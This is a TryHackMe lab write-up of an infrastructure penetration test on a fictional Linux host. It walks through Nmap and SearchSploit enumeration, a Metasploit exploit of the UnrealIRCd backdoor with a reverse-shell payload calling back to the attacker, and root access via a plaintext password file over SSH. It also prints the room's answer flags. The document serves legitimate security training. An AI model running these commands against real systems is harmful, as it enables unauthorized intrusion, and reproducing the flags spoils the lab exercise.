TryHackMe // Write-up

Infrastructure Penetration Test.

A full infrastructure assessment against a fictional organization, TryHatMe: enumerate exposed services, research vulnerabilities, exploit a backdoored IRC server, and escalate from a low-privileged shell to root.

• Offensive
• Penetration Testing
• Metasploit
• Privilege Escalation
• Reporting

Platform

TryHackMe

Path

Penetration Testing Path – Infrastructure Assessment

Target OS

Linux

Attacker environment

TryHackMe AttackBox

Tools

Nmap, SearchSploit, Metasploit Framework, SSH, Linux CLI

01 Overview

Infrastructure penetration testing involves assessing network-connected systems to identify vulnerabilities, misconfigurations, and weaknesses that could allow an attacker to gain unauthorized access.

In this room, I performed an infrastructure penetration test against a Linux host belonging to the fictional organization TryHatMe, following a structured methodology:

1. Enumeration
2. Vulnerability Analysis
3. Initial Access
4. Privilege Escalation
5. Reporting

The objective was to identify exposed services, research vulnerabilities, exploit a vulnerable service, obtain an initial foothold, and escalate privileges to root.

02 Enumeration

The first phase involved identifying the target's exposed network services and determining which software was running. I started with an Nmap service and default-script scan:

nmap -sV -sC -oN scan.txt MACHINE_IP

The scan identified two open TCP ports:

The IRC service also identified the hostname irc.pentest-target.thm.

The SSH service was running a relatively recent version of OpenSSH. The UnrealIRCd service presented a more interesting opportunity for further investigation. Rather than immediately attempting exploitation, I moved into vulnerability research to determine whether the identified software versions had known security weaknesses.

03 Vulnerability Analysis

Researching OpenSSH

I initially searched the Exploit Database using SearchSploit:

searchsploit openssh

The results included several historical OpenSSH vulnerabilities, but the affected versions did not match the target's reported OpenSSH 9.6p1 installation.

Researching UnrealIRCd

The UnrealIRCd service presented a more promising attack surface. SearchSploit identified a known backdoor vulnerability affecting UnrealIRCd. The relevant exploit was:

linux/remote/13853.pl

The vulnerability involved a malicious backdoor introduced into compromised UnrealIRCd source code. This provided a potential remote command execution path and an opportunity to obtain an initial foothold on the target.

04 Initial Access: Exploiting UnrealIRCd

With a potential vulnerability identified, I moved into exploitation using Metasploit.

Launch Metasploit

msfconsole

Search for the UnrealIRCd exploit:

search unrealircd

The following module was identified:

exploit/unix/irc/unreal_ircd_5161_backdoor

Select the module:

use 0

Review its configuration requirements:

show options

The target address needed to be configured through RHOSTS.

Configure the exploit

set RHOSTS MACHINE_IP

Next, review the compatible payloads:

show payloads

I selected a Unix reverse shell payload:

set payload cmd/unix/reverse

Configure the attacker's callback address and port:

set LHOST CONNECTION_IP
set LPORT 443

The reverse shell would establish an outbound connection from the compromised target back to the AttackBox.

Execute the exploit

Launch the attack:

exploit

Metasploit successfully connected to the target and triggered the UnrealIRCd backdoor. The output confirmed that a command shell session had been established.

Verify initial access

Once the shell was available, I checked the current account:

whoami

webmaster

This confirmed successful remote command execution and initial access to the target system.

Retrieve the user flag

The user-level flag was located at:

cat /home/webmaster/flag.txt

User-level flag: THM{Pwned-Y0ur-First-Machine}

05 Post-Exploitation: Privilege Escalation

Obtaining a low-privileged shell was only the beginning. The next objective was to determine whether the current account could escalate privileges. Rather than immediately attempting kernel exploits or other complex techniques, I began with basic filesystem enumeration.

Search for password-related files

find / -name password* 2>/dev/null

This searched the filesystem for files with names beginning with password, while suppressing permission-related errors. Several results were returned, including:

/etc/password.txt
/var/lib/pam/password
/var/cache/debconf/passwords.dat
/boot/grub/i386-pc/password.mod

One file stood out: /etc/password.txt. Unlike the other results, this was an unusual location for a plaintext password file.

Examine the suspicious file

cat /etc/password.txt

The file contained root credentials.

Escalate privileges through SSH

Because the target had an exposed SSH service, I opened a separate terminal on the AttackBox and connected as root:

ssh root@MACHINE_IP

I entered the password discovered in /etc/password.txt. Authentication succeeded, providing a root shell.

Retrieve the root flag

cat /root/flag.txt

Root flag: THM{Escalat1on-D0ne}

Full system compromise achieved.

06 Findings and Security Impact

The assessment identified two significant security weaknesses.

Finding 1: UnrealIRCd Backdoor — Critical

Description: The target was running an UnrealIRCd version containing a known backdoor. This allowed an unauthenticated remote attacker to execute commands on the target system.

Evidence:

• UnrealIRCd identified during Nmap enumeration.
• SearchSploit identified the associated exploit.
• Metasploit successfully executed the backdoor.
• A reverse shell was established as webmaster.

Impact: An attacker with network access to the exposed IRC service could execute arbitrary commands and obtain an initial foothold on the server.

Finding 2: Root Password Stored in Plaintext — Critical

Description: A file named /etc/password.txt contained root credentials in plaintext and was accessible to the compromised low-privileged account.

Evidence:

find / -name password* 2>/dev/null
cat /etc/password.txt

The discovered credentials allowed successful SSH authentication as root.

Impact: An attacker who obtains any low-privileged shell on the system could retrieve the root credentials and gain complete administrative control.

07 Reporting: Communicating the Findings

A penetration test is only as valuable as the information delivered to the client. The report should communicate technical findings in a way that allows management to understand business impact and engineering teams to prioritize remediation.

A professional penetration testing report should contain:

1. Cover Page — assessment title, tester information, and document version.
2. Executive Summary — non-technical overview of the assessment and its results.
3. Technical Summary — technical overview intended for engineering management.
4. Vulnerability Summary — findings organized by severity.
5. Detailed Exploitation — reproduction steps, evidence, impact, and remediation recommendations.

08 Lessons Learned

This room demonstrated how the individual stages of an infrastructure penetration test work together.

The biggest takeaway for me was how a seemingly simple enumeration result can lead to a complete system compromise when combined with vulnerability research and methodical post-exploitation.

09 Room Completion — Answer Reference

// Conclusion